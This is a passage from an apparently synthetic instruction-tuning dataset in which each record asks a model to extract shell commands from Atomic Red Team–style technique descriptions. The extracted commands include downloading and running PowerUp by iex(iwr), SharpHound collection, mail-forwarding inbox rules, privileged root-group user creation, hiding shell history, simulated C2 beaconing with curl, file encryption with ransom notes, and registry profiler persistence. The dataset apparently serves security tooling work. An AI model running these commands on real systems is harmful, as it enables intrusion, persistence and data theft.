commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Prevent commands from being recorded in shell history by executing: export HISTCONTROL=ignoreboth\n#{evil_command}\n; Shell history can be disabled by executing this command: export HISTSIZE=0\n#{evil_command}\n", "output": "{\"command_list\": [\"export HISTCONTROL=ignoreboth\\n#{evil_command}\\n\", \"export HISTSIZE=0\\n#{evil_command}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For creating an inbox rule that forwards messages to another email address, execute this PowerShell command: $secure_pwd = \"#{password}\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nNew-InboxRule -Name \"#{rule_name}\" -ForwardTo \"#{forwarding_email}\"\n; For basic Windows permission group discovery, execute the following command sequence that shows domain information and may produce errors on standalone machines: net localgroup\nnet group /domain\nnet group \"enterprise admins\" /domain\nnet group \"domain admins\" /domain\n", "output": "{\"command_list\": [\"$secure_pwd = \\\"#{password}\\\" | ConvertTo-SecureString -AsPlainText -Force\\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $secure_pwd\\nConnect-ExchangeOnline -Credential $creds\\nNew-InboxRule -Name \\\"#{rule_name}\\\" -ForwardTo \\\"#{forwarding_email}\\\"\\n\", \"net localgroup\\nnet group /domain\\nnet group \\\"enterprise admins\\\" /domain\\nnet group \\\"domain admins\\\" /domain\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n You can create a dev tunnel bound to your local service by executing this command: nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &; To create a hidden file within a hidden directory, use the following command:\nmkdir /var/tmp/.hidden-directory\necho \"T1564.001\" > /var/tmp/.hidden-directory/.hidden-file\n", "output": "{\"command_list\": [\"nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &\\n\", \"mkdir /var/tmp/.hidden-directory\\necho \\\"T1564.001\\\" > /var/tmp/.hidden-directory/.hidden-file\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This technique from the Butter attack campaign creates a privileged user by executing this command:\nuseradd -g 0 -M -d /root -s /bin/bash #{username}\nif [ $(cat /etc/os-release | grep -i 'Name=\"ubuntu\"') ]; then echo \"#{username}:#{password}\" | sudo chpasswd; else echo \"#{password}\" | passwd --stdin #{username}; fi;; This method creates a privileged user in FreeBSD, as seen in the Butter campaign, with the command:\npw useradd #{username} -g 0 -d /root -s /bin/sh\necho \"#{password}\" | pw usermod #{username} -h 0", "output": "{\"command_list\": [\"useradd -g 0 -M -d /root -s /bin/bash #{username}\\nif [ $(cat /etc/os-release | grep -i 'Name=\\\"ubuntu\\\"') ]; then echo \\\"#{username}:#{password}\\\" | sudo chpasswd; else echo \\\"#{password}\\\" | passwd --stdin #{username}; fi;\\n\", \"pw useradd #{username} -g 0 -d /root -s /bin/sh\\necho \\\"#{password}\\\" | pw usermod #{username} -h 0\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Inspired by APTSimulator, this test mimics C2 beaconing activity silently. You can analyze the session by recording it with Wireshark and executing the following command to observe various user agent strings:\nInvoke-WebRequest #{domain} -UserAgent \"HttpBrowser/1.0\" | out-null\nInvoke-WebRequest #{domain} -UserAgent \"Wget/1.9+cvs-stable (Red Hat modified)\" | out-null\nInvoke-WebRequest #{domain} -UserAgent \"Opera/8.81 (Windows NT 6.0; U; en)\" | out-null\nInvoke-WebRequest #{domain} -UserAgent \"*<|>*\" | out-null\n; This test simulates an infected host beaconing to command and control, which can be executed using the following command:\ncurl -s -A \"HttpBrowser/1.0\" -m3 #{domain}\ncurl -s -A \"Wget/1.9+cvs-stable (Red Hat modified)\" -m3 #{domain}\ncurl -s -A \"Opera/8.81 (Windows NT 6.0; U; en)\" -m3 #{domain}\ncurl -s -A \"*<|>*\" -m3 #{domain}\n", "output": "{\"command_list\": [\"Invoke-WebRequest #{domain} -UserAgent \\\"HttpBrowser/1.0\\\" | out-null\\nInvoke-WebRequest #{domain} -UserAgent \\\"Wget/1.9+cvs-stable (Red Hat modified)\\\" | out-null\\nInvoke-WebRequest #{domain} -UserAgent \\\"Opera/8.81 (Windows NT 6.0; U; en)\\\" | out-null\\nInvoke-WebRequest #{domain} -UserAgent \\\"*<|>*\\\" | out-null\\n\", \"curl -s -A \\\"HttpBrowser/1.0\\\" -m3 #{domain}\\ncurl -s -A \\\"Wget/1.9+cvs-stable (Red Hat modified)\\\" -m3 #{domain}\\ncurl -s -A \\\"Opera/8.81 (Windows NT 6.0; U; en)\\\" -m3 #{domain}\\ncurl -s -A \\\"*<|>*\\\" -m3 #{domain}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The file can be encrypted with openssl by executing this sequence of commands:\nwhich_openssl=`which openssl`\n$which_openssl genrsa -out #{private_key_path} #{encryption_bit_size}\n$which_openssl rsa -in #{private_key_path} -pubout -out #{public_key_path}\n$which_openssl rsautl -encrypt -inkey #{public_key_path} -pubin -in #{input_file_path} -out #{encrypted_file_path}; For documenting the PureLocker ransomware IOC, you can generate a ransom note file by executing this command: echo T1486 - Purelocker Ransom Note > %USERPROFILE%\\Desktop\\YOUR_FILES.txt", "output": "{\"command_list\": [\"which_openssl=`which openssl`\\n$which_openssl genrsa -out #{private_key_path} #{encryption_bit_size}\\n$which_openssl rsa -in #{private_key_path} -pubout -out #{public_key_path}\\n$which_openssl rsautl -encrypt -inkey #{public_key_path} -pubin -in #{input_file_path} -out #{encrypted_file_path}\\n\", \"echo T1486 - Purelocker Ransom Note > %USERPROFILE%\\\\Desktop\\\\YOUR_FILES.txt\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The following operations are performed by this Atomic: creating a service account, generating and storing a key, and then deleting it. Execute the entire process via these commands: \ngcloud config set project #{project_id}\nKEY=`gcloud iam service-accounts keys list --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --format=\"value(KEY_ID)\" --limit=1`\ngcloud iam service-accounts keys delete $KEY --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --quiet; To establish persistence via a .NET profiler, first create user scope environment variables and a CLSID COM object using the following command:\nWrite-Host \"Creating registry keys in HKCU:Software\\Classes\\CLSID\\#{clsid_guid}\" -ForegroundColor Cyan\nNew-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\\InprocServer32\" -Value \"#{file_name}\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -PropertyType String -Value \"#{clsid_guid}\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -PropertyType String -Value \"#{file_name}\" -Force | Out-Null\nWrite-Host \"executing eventvwr.msc\" -ForegroundColor Cyan\nSTART MMC.EXE EVENTVWR.MSC\n", "output": "{\"command_list\": [\"gcloud config set project #{project_id}\\nKEY=`gcloud iam service-accounts keys list 